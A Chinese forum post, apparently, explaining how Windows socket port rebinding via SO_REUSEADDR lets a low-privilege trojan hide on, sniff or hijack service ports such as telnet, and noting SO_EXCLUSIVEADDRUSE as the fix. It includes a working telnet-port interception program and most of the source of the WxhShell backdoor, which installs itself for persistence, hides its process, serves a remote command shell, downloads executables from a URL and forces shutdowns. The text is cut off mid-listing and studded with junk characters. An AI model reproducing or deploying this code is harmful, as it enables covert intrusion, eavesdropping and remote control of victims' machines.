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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 27 GhE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KhaYr)&~  
.g% Y@r)=5  
  saddr.sin_family = AF_INET; oRq!=eUu_  
|L:Cn J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zAScRg$:?  
>V;,#5F_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @CQb[!9C  
.mxTfP=9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xiM&$<LpR  
G&9#*<F$c  
  这意味着什么?意味着可以进行如下的攻击: I&]G   
cd.brM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .%xzT J=!  
%_gho  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |M5-5)  
68t}w^=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j+^L~, S  
)\ 0F7Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5/I_w0  
WDx Mo`zT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?Zcj}e.r  
KMjg;! y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RKTb' 3H  
smU4jh9S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $v27]"]  
0 bSA_  
  #include l]#!+@  
  #include F^kwdS  
  #include &%F@O<:  
  #include    30F!kP*E  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wu~hqd  
  int main() ?S#\K^  
  { O\beKBT;  
  WORD wVersionRequested; 'ks{D(`  
  DWORD ret; raB+,Oi$G  
  WSADATA wsaData; 0[a}n6X Tk  
  BOOL val; cFZCf8:zB  
  SOCKADDR_IN saddr; %3=J*wj>D  
  SOCKADDR_IN scaddr; n9hm790x-  
  int err; KCR N}`^  
  SOCKET s; <$E6oZ  
  SOCKET sc; <94G  
  int caddsize; *\XH+/]+  
  HANDLE mt; RtV.d \  
  DWORD tid;   8^yJqAXK  
  wVersionRequested = MAKEWORD( 2, 2 ); .y4&rF$n  
  err = WSAStartup( wVersionRequested, &wsaData ); ?nFO:N<  
  if ( err != 0 ) { e~\QE0Oe:  
  printf("error!WSAStartup failed!\n"); zlf} .  
  return -1; Hi,t@!!  
  } $H2GbZ-I  
  saddr.sin_family = AF_INET; h)x_zZ%>o  
   RA/EpD:H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d@kc[WLD^  
FJS'G^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G=d(*+& B  
  saddr.sin_port = htons(23); 5nLDj:C~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jBtj+ TL8  
  { UpUp8%fCU  
  printf("error!socket failed!\n"); iI?{"}BZ  
  return -1; clDHTj=~  
  } :nGMtF  
  val = TRUE; M]EsS^/X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lrEj/"M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6m`{Z`c$  
  { f~M8A.  
  printf("error!setsockopt failed!\n"); kU*{4G|6  
  return -1; 0Xl%uF+w  
  } \cySWP[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e>H:/24  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q GPw2Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `~F5 wh~  
f}fsoDoQ=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zQ8!rCkg4  
  { Kn}ub+ "J  
  ret=GetLastError(); M'5 'O;kn  
  printf("error!bind failed!\n"); :Ml7G  
  return -1; l?E|R Kp  
  } 9%DT0.D}$j  
  listen(s,2); Np,2j KF(  
  while(1) =,/D/v$m'2  
  { xAdq+$><  
  caddsize = sizeof(scaddr); d>i13d AI  
  //接受连接请求 Z`_.x &Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Jh@_9/?  
  if(sc!=INVALID_SOCKET) g1[&c+=U`P  
  { d/U."V}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ST',4 Oph5  
  if(mt==NULL) ] |Zb\{  
  { 9O98Q6-s  
  printf("Thread Creat Failed!\n"); X[hM8G  
  break; 2[R$RpA_  
  } 3#GqmhqKDk  
  } F:T GsV#  
  CloseHandle(mt); PpOlt.yui  
  } 5M){!8"S)#  
  closesocket(s); v,1F-- v  
  WSACleanup(); 9]yW_]P  
  return 0; [_!O<z_sB  
  }   E`D%PEps+  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4<v;1   
  { u<Xog$esu  
  SOCKET ss = (SOCKET)lpParam; >P(`MSc  
  SOCKET sc; 9f+RAN(  
  unsigned char buf[4096]; AFm1t2,+;  
  SOCKADDR_IN saddr; Y 62r  
  long num; AXW!]=?X  
  DWORD val; :)c80`-E  
  DWORD ret; Ot9V< D6h  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f(:1yl\a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bXdY\&fE  
  saddr.sin_family = AF_INET; 2@i;_3sv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); cyF4iG'M,y  
  saddr.sin_port = htons(23); Dkw7]9Qm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +=fKT,-*G!  
  { i/qTFQst _  
  printf("error!socket failed!\n"); tYe:z:7l?<  
  return -1; !]b@RUU  
  } 'gTmH[be  
  val = 100;  ?J&)W,~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RQ' H!(K  
  { J=}F2C   
  ret = GetLastError(); {d!Y3+I%G  
  return -1; ^ddO&!U  
  } <^><3U`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5K.+CO<  
  { m_lr PY-  
  ret = GetLastError(); Pl  
  return -1; ])T/sO#'  
  } SkP[|g'56  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `deY i2z  
  { b|?;h21rG  
  printf("error!socket connect failed!\n"); ]PS\#I}  
  closesocket(sc); z +VV}:Q  
  closesocket(ss);  s>[{}7ca  
  return -1; p@I9< ^"  
  } |E^|X!+9  
  while(1) WZ~> BM  
  { fI:H8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ( $d4:Ww  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .W.;~`EW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }~I|t!GL  
  num = recv(ss,buf,4096,0); &Ocu#Cb  
  if(num>0) KH<v@IJ\  
  send(sc,buf,num,0); 2C/%gcN >  
  else if(num==0) x ^vt; $  
  break; Q7a(P  
  num = recv(sc,buf,4096,0); ?q$P>guH6-  
  if(num>0) *\ECf .7jz  
  send(ss,buf,num,0); 8wFn}lw&  
  else if(num==0) m,6h ee  
  break; fl uGf  
  } tOg=zXm   
  closesocket(ss); A 7Y_HIo  
  closesocket(sc); JAP (|  
  return 0 ; uMiyq<  
  } Lb~\Y n'z  
V SAafux  
nNR:cG fG  
========================================================== 3M N  
=AkX4k  
下边附上一个代码,,WXhSHELL 3,$iG e  
WU\m^!`w=F  
========================================================== 5gK~('9'?1  
>oY^Gx  
#include "stdafx.h" ?r3e*qJGn  
"c Pz|~  
#include <stdio.h> 14l; *  
#include <string.h> B,y3] g6u  
#include <windows.h> -!R l(if  
#include <winsock2.h> VS`Z_Xn  
#include <winsvc.h> UR:n5V4  
#include <urlmon.h> ScJu_A f  
6>B \|  
#pragma comment (lib, "Ws2_32.lib") vttrKVA  
#pragma comment (lib, "urlmon.lib") ,nYZxYLf+  
l l:jsm  
#define MAX_USER   100 // 最大客户端连接数 ? ( 12aU  
#define BUF_SOCK   200 // sock buffer 2OCdG  
#define KEY_BUFF   255 // 输入 buffer ^5x4q  
^!uO(B&  
#define REBOOT     0   // 重启 9dYOH)f  
#define SHUTDOWN   1   // 关机 3B#!2|  
Au=kSSB  
#define DEF_PORT   5000 // 监听端口 yJJ8 "s~i  
X_?%A54z?  
#define REG_LEN     16   // 注册表键长度 A-0m8<  
#define SVC_LEN     80   // NT服务名长度 P"Rk?lL  
/Ynt<S9"  
// 从dll定义API z7q%,yw3N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rWe 8D/oc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9::YR;NY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VjTAN=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *vs~SzF$  
+Ag#B*   
// wxhshell配置信息 k2uBaj]  
struct WSCFG { Xz* tbW#  
  int ws_port;         // 监听端口 cVg$dt  
  char ws_passstr[REG_LEN]; // 口令 =,E'~P  
  int ws_autoins;       // 安装标记, 1=yes 0=no }AAbhr9d}  
  char ws_regname[REG_LEN]; // 注册表键名 % :tr  
  char ws_svcname[REG_LEN]; // 服务名 2Q 3/-R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UJwq n"Q^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .~,^u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yu_gNro L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +/_!P;I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9OZ>y0)K~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )$F6  
Dauo(Uhuo  
}; k>-'AWH^v  
hvcR.f)C>  
// default Wxhshell configuration YiNo#M91  
struct WSCFG wscfg={DEF_PORT, c#x7N9;"!  
    "xuhuanlingzhe", @`2ozi~lO  
    1, VY{,x;O`  
    "Wxhshell", !Iko0#4i  
    "Wxhshell", v1K4$&{F  
            "WxhShell Service", a;yV#Y  
    "Wrsky Windows CmdShell Service", f>4+,@G   
    "Please Input Your Password: ", ds')PIj  
  1, b)y<.pS\  
  "http://www.wrsky.com/wxhshell.exe", {4)5]62>u  
  "Wxhshell.exe" )SD_}BY%k  
    }; |nfH-JytV  
Nc:U4  
// 消息定义模块 04[)qPPS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dcR6KG8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G`WzJS*}v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qv=Bq{N  
char *msg_ws_ext="\n\rExit."; bZnDd  
char *msg_ws_end="\n\rQuit."; lDH_ Y]bM  
char *msg_ws_boot="\n\rReboot..."; IjgBa-o/V  
char *msg_ws_poff="\n\rShutdown..."; r 3?5'S`  
char *msg_ws_down="\n\rSave to "; h!~|6nj  
2nYiG)tg  
char *msg_ws_err="\n\rErr!"; <WgG=Kf)N  
char *msg_ws_ok="\n\rOK!"; B~e7w 4  
uRs9}dzv  
char ExeFile[MAX_PATH]; eKS:7:X  
int nUser = 0; P[6dTZ!\s  
HANDLE handles[MAX_USER]; F ^[M  
int OsIsNt; ^>t-v  
YU*46 hA1B  
SERVICE_STATUS       serviceStatus; r)(i{:@r`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B0NN>)h  
dUUPhk0  
// 函数声明 |)*m[_1  
int Install(void); E^'C "6  
int Uninstall(void); ^JiaR)#r  
int DownloadFile(char *sURL, SOCKET wsh); ByC1I.B`  
int Boot(int flag); C-_w]2MM  
void HideProc(void); J>/Ci\OB  
int GetOsVer(void); OcLg3.:L  
int Wxhshell(SOCKET wsl); upZYv~Sa  
void TalkWithClient(void *cs); / *O u$  
int CmdShell(SOCKET sock); +q 4W0  
int StartFromService(void); 1\=pPys)  
int StartWxhshell(LPSTR lpCmdLine); R20a(4 m  
56VE[G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @m }rQT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5I wX\  
*yL|}  
// 数据结构和表定义 $Cut  
SERVICE_TABLE_ENTRY DispatchTable[] = wV]sGHuF}  
{ hVROzGZk  
{wscfg.ws_svcname, NTServiceMain}, }u38:(^`ai  
{NULL, NULL} X*43!\  
}; /QM0.{Ypl  
8Q#t\$RY  
// 自我安装 n">?LN-DC  
int Install(void) bEEJVF0  
{ ^p'D<!6sK  
  char svExeFile[MAX_PATH]; F%Ro98?{  
  HKEY key; _ +0uju?o}  
  strcpy(svExeFile,ExeFile); G}Q}H*  
N}eU.#L  
// 如果是win9x系统,修改注册表设为自启动 Y*h`),  
if(!OsIsNt) { ,dGFX]P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Lo6='G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7r:nMPX  
  RegCloseKey(key); 6C@0[Q\ER  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8HHgN`_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ksxO<Y  
  RegCloseKey(key); 'Hcd&3a  
  return 0;  oaH+c9v  
    } kG_&-b  
  } e2,<,~_K6  
} Cnb[t[hk+j  
else { @$K![]oD  
;7B2~zL  
// 如果是NT以上系统,安装为系统服务 D>!v_v6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'd~, o[x  
if (schSCManager!=0) 2_B;  
{ ZlwcwoPib  
  SC_HANDLE schService = CreateService vr8J*36{  
  ( <yX@@8  
  schSCManager, h$:&1jVY{  
  wscfg.ws_svcname, /It.>1~2@  
  wscfg.ws_svcdisp, FE^?U%:u@  
  SERVICE_ALL_ACCESS, _Ct@1}aa4x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [rD+8,zVm  
  SERVICE_AUTO_START, =rs=8Ty?S  
  SERVICE_ERROR_NORMAL, @k#z &@b  
  svExeFile, m bB\~n  
  NULL, l7=$4As/hI  
  NULL, oj,Vi-TZ  
  NULL, -wG[>Y  
  NULL, ^mQ;CMV  
  NULL Wb*T   
  ); r!-L`GUm  
  if (schService!=0) 'Sb6 w+  
  { 7.F& {:@_  
  CloseServiceHandle(schService); }(f,~?CP]  
  CloseServiceHandle(schSCManager); $u0+29T2O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AVdd?Ew  
  strcat(svExeFile,wscfg.ws_svcname); r5X BcG(2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c@"i?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7csl1|U  
  RegCloseKey(key); /3"e3{u y  
  return 0; 7,&3=R <  
    } z}Mb4{d1  
  } ocDVCCkxg  
  CloseServiceHandle(schSCManager); !X#3w-K  
} #Fb0;H9`  
} [|P]St-  
?U2g8D nFY  
return 1; >cU*D:  
} )f_"`FH0d  
k[^}ld[  
// 自我卸载 4 I]/  
int Uninstall(void) "O"^\f  
{ &<[]X@ bY  
  HKEY key; qjdahVY  
&p(*i@Ms  
if(!OsIsNt) { qH}62DP3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R`<{W(J;r  
  RegDeleteValue(key,wscfg.ws_regname); lD+y, ";  
  RegCloseKey(key); BGk<NEzH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2EI m  
  RegDeleteValue(key,wscfg.ws_regname); 7\|NYT4  
  RegCloseKey(key); ^LQ lfd  
  return 0; gIf+.^/m1  
  } 'f$?/5@@  
} dBi3ZC AF  
} S+bWD7  
else { /Va&k4  
SgQmYaa&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J6?_?XzToT  
if (schSCManager!=0) ;74 DT  
{ +{l3#Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #,|_d>p:  
  if (schService!=0) >GF(.:7  
  { tz \:r>3vI  
  if(DeleteService(schService)!=0) { EJSgTtp 2  
  CloseServiceHandle(schService); E6KBpQcd[  
  CloseServiceHandle(schSCManager); =[CS2VQ'  
  return 0; hH@o|!y  
  } Y9c9/_CSj  
  CloseServiceHandle(schService); l{7Dv1[Ss  
  } u/c~PxC  
  CloseServiceHandle(schSCManager); y<gYf -E+  
} c)P%O  
} e"&9G}.f  
2l}Fg D  
return 1; 3dzqV aV  
} /`]|_>'  
KE|u}M@v6  
// 从指定url下载文件 Z+pvdu  
int DownloadFile(char *sURL, SOCKET wsh) JKu6+V jO  
{ 9zGKQ|X)  
  HRESULT hr; )]e d;V  
char seps[]= "/"; QIxJFr;>  
char *token; ]t!}D6p  
char *file; '-1jWw:8  
char myURL[MAX_PATH]; <45dy5!Tz  
char myFILE[MAX_PATH]; 2K7:gd8Ru  
Ok.DSOT  
strcpy(myURL,sURL); 9.w3VF_C  
  token=strtok(myURL,seps); i|! 9o:  
  while(token!=NULL) sMe~C>RD  
  { onypwfIk)t  
    file=token; GlkAJe]  
  token=strtok(NULL,seps); pU)3*9?cIl  
  } !j\&BAxTEk  
{bsr 9.k(  
GetCurrentDirectory(MAX_PATH,myFILE); H_nOE(i<z  
strcat(myFILE, "\\"); sp]y!zb"5  
strcat(myFILE, file); ->#@rF:S  
  send(wsh,myFILE,strlen(myFILE),0); UOL%tT  
send(wsh,"...",3,0); yl;$#aZB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mjr{L{H=?+  
  if(hr==S_OK) ."@a1_F|  
return 0; Y_iF$ m/R  
else  ! 6i  
return 1; fw~%^*  
[T?6~^m=  
} :^.87>V7  
'rx,f  
// 系统电源模块 ^Y*.Ktp,o  
int Boot(int flag) !/ q&0a  
{ Q9'V&jm  
  HANDLE hToken; l\l]9Z6%  
  TOKEN_PRIVILEGES tkp; 5'L}LT8p@  
g7q]Vj  
  if(OsIsNt) { d4=u`2w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .Y Frb+6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _ .   
    tkp.PrivilegeCount = 1; `0gK;D8t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WOTu" Yj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `  vmk  
if(flag==REBOOT) { O%h 97^%k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qmh(+-Mp(  
  return 0; LCm}v&~%A  
} QMfy^t+I  
else { *gMP_I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j`-y"6)  
  return 0; |^9ig_k`  
} u KdX4  
  } q9Opa2  
  else { Fm+)mmJP  
if(flag==REBOOT) { 'C4Ll2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N`GwL aF  
  return 0; &=t(NI$  
} s*U&[7P  
else { ?fX8WRdh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _A0avMD}  
  return 0; c!FjHlAnP  
} v7I*W/  
} -2u+m  
,rPyXS9Sa{  
return 1; OL+40J  
} 4Tw1gas.  
1|$Rzt%ge  
// win9x进程隐藏模块 \$Qm2XKrK  
void HideProc(void) g. VIe  
{ #)eJz1~  
tg`!svL!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2Mi;}J1C{  
  if ( hKernel != NULL ) z:,!yU c  
  { *bC^X'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }^bL'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3 AF]en  
    FreeLibrary(hKernel); |(8h:g  
  } bM_(`]&*  
J0 z0%p   
return; ">^]^wa08  
} >~8Df61o`  
b4OR`dd*J  
// 获取操作系统版本 31\^9w__8  
int GetOsVer(void) gMMd=  
{ M|]1}8d?  
  OSVERSIONINFO winfo; 1:Gd{z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HWAqJb [  
  GetVersionEx(&winfo); e-av@a3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s+~Slgl  
  return 1; L2A#OZZu  
  else 0cU^ue%  
  return 0; _NW OSt  
} cCCplL  
DLM9o3/*J  
// 客户端句柄模块 'GoeVq  
int Wxhshell(SOCKET wsl) *N+aZV}`Z  
{ q%&7J<   
  SOCKET wsh; _cs9R%  
  struct sockaddr_in client; \r9%;?f  
  DWORD myID; QQ8W;x  
b:&$x (|  
  while(nUser<MAX_USER) V1U[p3J-S  
{ p&27|1pZm  
  int nSize=sizeof(client); ?b$zuJ]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BC[d={_-  
  if(wsh==INVALID_SOCKET) return 1; pU'sADC  
^( VB5p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  aj B  
if(handles[nUser]==0) ',%&DA2  
  closesocket(wsh); $yK!Q)e:  
else p~co!d.q/}  
  nUser++; @ ]3Rw[% z  
  }  e) (|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J8Db AB4X  
8dB~09Z7  
  return 0; F}[;ytmUS  
} 0)44*T  
K0@7/*%  
// 关闭 socket tAi9mm;k  
void CloseIt(SOCKET wsh) X*q C:]e  
{ R/YL1s  
closesocket(wsh); 3?(p;  
nUser--; !AHm+C_=Lg  
ExitThread(0); _q$ fw&  
} `roSOX1f  
O{R5<"g  
// 客户端请求句柄 jG :R\D}0  
void TalkWithClient(void *cs) FI5C&d5d  
{ ?R}oXSVT  
s~w+bwr  
  SOCKET wsh=(SOCKET)cs; cyE2=  
  char pwd[SVC_LEN]; C^tC} n1D(  
  char cmd[KEY_BUFF]; _4]dPk#^  
char chr[1]; l d9#4D[#  
int i,j; pwC/&bu  
l[|e3<H  
  while (nUser < MAX_USER) { mjHY-lK  
qm8RRDG  
if(wscfg.ws_passstr) { d2C:3-4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d(Ou\7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q.AM  
  //ZeroMemory(pwd,KEY_BUFF); vsR ^aVwVZ  
      i=0; c y$$}  
  while(i<SVC_LEN) { r&DK> H  
!:e qPpz  
  // 设置超时 Qd?P[xm  
  fd_set FdRead; 0^z$COCv  
  struct timeval TimeOut; uy{KV"%"^g  
  FD_ZERO(&FdRead); jwox?]f+  
  FD_SET(wsh,&FdRead); , &SJ?XAs  
  TimeOut.tv_sec=8; G#v7-&Yl6  
  TimeOut.tv_usec=0; d`/{0:F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S8,06/#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ISmnZ@  
<,C})H?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T5;D0tM/  
  pwd=chr[0]; m`"s$\fah  
  if(chr[0]==0xd || chr[0]==0xa) { KA#-X2U/  
  pwd=0; iH=@``Z  
  break; -;*Z!|e9  
  } Mw. +0R!T  
  i++; w%\;|y4+  
    } ZZ5yu* &  
IWgC6)n@n  
  // 如果是非法用户,关闭 socket ^S|^1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tPHiz%  
} '*; rm*n  
~s_$a8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^B9wmxe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |9 3%,  
wP9C\W;  
while(1) { '=@x2`U/  
NU[{oI<a  
  ZeroMemory(cmd,KEY_BUFF); 5KSsRq/8"  
IuF-bxA  
      // 自动支持客户端 telnet标准   @Q!j7I  
  j=0; :u0433z:  
  while(j<KEY_BUFF) { 0a'y\f:6*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MC@cT^Z^  
  cmd[j]=chr[0]; O 7sn>uO  
  if(chr[0]==0xa || chr[0]==0xd) { W| p?KJk)  
  cmd[j]=0; Dr:}k*  
  break; ~k 3r$e@  
  } ![V- e  
  j++; @:I/lg=Qd  
    } o<4LL7$A!  
.R,8<4  
  // 下载文件 OA0\b_  
  if(strstr(cmd,"http://")) { `L>'9rbZO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zn/ /u<D  
  if(DownloadFile(cmd,wsh)) t}nRWo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Z*RCuwg  
  else d\f 5\Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;xc  
  } 6eD[)_?]y  
  else { 4$"Lf'sH6  
PhS"tOGtX  
    switch(cmd[0]) { 'Bx7b(xqk  
  {TNAK%'v  
  // 帮助 "=;&{N~8U  
  case '?': { A UK7a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N_0O"" d  
    break; GZw<Y+/V"5  
  } wkGF&U  
  // 安装 ?8 F7BS4oQ  
  case 'i': { =DgD&_  
    if(Install()) ;ORy&H aKl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;V GrZZ  
    else pK`rm"6G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); itU01  
    break; e_TM#J(3  
    } P dJ*'@~i  
  // 卸载 a#1X)ot  
  case 'r': { WA/\x  
    if(Uninstall()) vIJdl2(^E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ou%>Dd5|?  
    else @&+ 1b=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w~9gZ&hdp  
    break; [Dhc9  
    } _W+TZa@_  
  // 显示 wxhshell 所在路径 ?>_.~b ~  
  case 'p': { X%dOkHarB  
    char svExeFile[MAX_PATH]; #/:[ho{JQ  
    strcpy(svExeFile,"\n\r"); oOlI*/OMb  
      strcat(svExeFile,ExeFile); o kYsjK5  
        send(wsh,svExeFile,strlen(svExeFile),0);  JeA}d  
    break;  }oG&zw  
    } sDiYm}W  
  // 重启 F8/@/B  
  case 'b': { `y\:3bQ4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p d6d(  
    if(Boot(REBOOT)) ,-b9:]{L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "`S61m_  
    else { bk<3oI  
    closesocket(wsh); c(jA"K[|b  
    ExitThread(0); D fb&/ }  
    } "_`~9qDy  
    break; f t7wMi  
    } +[F8>9o&  
  // 关机 s{/nO)  
  case 'd': { {^qc`oF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Eq?o /'e  
    if(Boot(SHUTDOWN)) fTeo,N  
